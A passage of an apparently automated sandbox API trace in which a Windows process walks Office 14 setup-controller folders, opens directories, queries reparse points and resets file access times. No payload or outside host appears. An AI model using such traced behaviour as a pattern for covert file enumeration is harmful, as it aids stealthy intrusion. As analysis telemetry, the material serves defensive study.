ftLastWriteTime.dwLowDateTime=0xf58c6830, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x16fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0052.802] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf58c6830, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xab8a250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf58c6830, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x16fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0052.802] GetLastError () returned 0x12 [0052.802] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9e7238) returned 1 [0052.802] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0052.802] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9e7130) returned 1 [0052.802] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9e7028) returned 1 [0052.802] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a95a430, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6cd64f50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROPLUSR", cAlternateFileName="")) returned 1 [0052.802] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e7028 [0052.802] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a95a430, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6cd64f50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0054.018] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x168 [0054.018] SetFileTime (hFile=0x168, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0054.018] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x9ee978 [0054.018] DeviceIoControl (in: hDevice=0x168, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9ee978, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x9ee978, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0054.018] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ee978) returned 1 [0054.018] NtClose (Handle=0x168) returned 0x0 [0054.019] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9e7028) returned 1 [0054.019] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0054.019] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0054.019] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e7028 [0054.019] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0054.019] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e7130 [0054.019] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e90c0 [0054.019] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a95a430, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6cd64f50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.019] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x170fe40, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x170fe40, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x41d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProPlusrWW.XML", cAlternateFileName="")) returned 1 [0054.019] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0054.019] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0054.019] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0054.019] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0054.019] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0054.019] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e7238 [0054.019] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0054.019] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9e5db8 [0054.019] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9ea238 [0054.019] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0054.019] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18177c50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5a95a430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x18177c50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x7976, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0054.019] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0054.019] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0054.019] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0054.019] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0054.019] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0054.019] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9e5dd8 [0054.020] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9ea340 [0054.020] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0054.020] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18177c50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5a95a430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x18177c50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x7976, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0054.020] GetLastError () returned 0x12 [0054.020] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9080 [0054.020] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0054.020] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a95a430, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6cd64f50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.020] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x170fe40, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x170fe40, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x41d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProPlusrWW.XML", cAlternateFileName="")) returned 1 [0054.020] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18177c50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5a95a430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x18177c50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x7976, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0054.020] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18177c50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5a95a430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x18177c50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x7976, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0054.020] GetLastError () returned 0x12 [0054.020] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9e7130) returned 1 [0054.020] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0054.020] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9e7238) returned 1 [0054.020] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9e7028) returned 1 [0054.020] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ba9ab90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1bc89d70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Publisher.en-us", cAlternateFileName="")) returned 1 [0054.020] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e7028 [0054.020] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ba9ab90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1bc89d70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0054.039] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x164 [0054.039] SetFileTime (hFile=0x164, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0054.039] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x9ee978 [0054.039] DeviceIoControl (in: hDevice=0x164, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9ee978, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x9ee978, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0054.039] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ee978) returned 1 [0054.039] NtClose (Handle=0x164) returned 0x0 [0054.039] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9e7028) returned 1 [0054.039] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0054.039] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0054.039] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e7028 [0054.039] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0054.039] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e7238 [0054.039] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9080 [0054.040] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ba9ab90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1bc89d70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.040] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc3e4630, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x1ba9ab90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="PublisherMUI.XML", cAlternateFileName="")) returned 1 [0054.040] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0054.040] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0054.040] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0054.040] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0054.040] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0054.040] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e7130 [0054.040] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0054.040] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9e5df8 [0054.040] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9ea448 [0054.040] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0054.040] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x648, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0054.040] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0054.040] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0054.040] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0054.040] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0054.040] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0054.040] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9e82c0 [0054.040] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9ea550 [0054.040] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0054.040] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x648, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0054.040] GetLastError () returned 0x12 [0054.040] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e90c0 [0054.040] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0054.041] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ba9ab90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1bc89d70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.041] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc3e4630, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x1ba9ab90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="PublisherMUI.XML", cAlternateFileName="")) returned 1 [0054.041] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x648, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0054.041] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x648, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0054.041] GetLastError () returned 0x12 [0054.041] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9e7238) returned 1 [0054.041] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0054.041] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9e7130) returned 1 [0054.041] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9e7028) returned 1 [0054.041] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8cba0700, ftCreationTime.dwHighDateTime=0x1cb7664, ftLastAccessTime.dwLowDateTime=0xd78c2600, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8cba0700, ftLastWriteTime.dwHighDateTime=0x1cb7664, nFileSizeHigh=0x0, nFileSizeLow=0x150378, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.exe", cAlternateFileName="")) returned 1 [0054.041] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50b66320, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x50da17c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x50da17c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Visio.en-us", cAlternateFileName="")) returned 1 [0054.041] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e7028 [0054.041] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50b66320, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x50da17c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x50da17c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0054.055] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x168 [0054.055] SetFileTime (hFile=0x168, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0054.055] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x9ee978 [0054.055] DeviceIoControl (in: hDevice=0x168, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9ee978, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x9ee978, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0054.055] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ee978) returned 1 [0054.055] NtClose (Handle=0x168) returned 0x0 [0054.055] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9e7028) returned 1 [0054.055] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0054.055] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0054.056] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e7028 [0054.056] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0054.056] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e7130 [0054.056] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e90c0 [0054.056] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50b66320, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x50da17c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x50da17c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.056] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43bdc500, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x50da17c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x43bdc500, 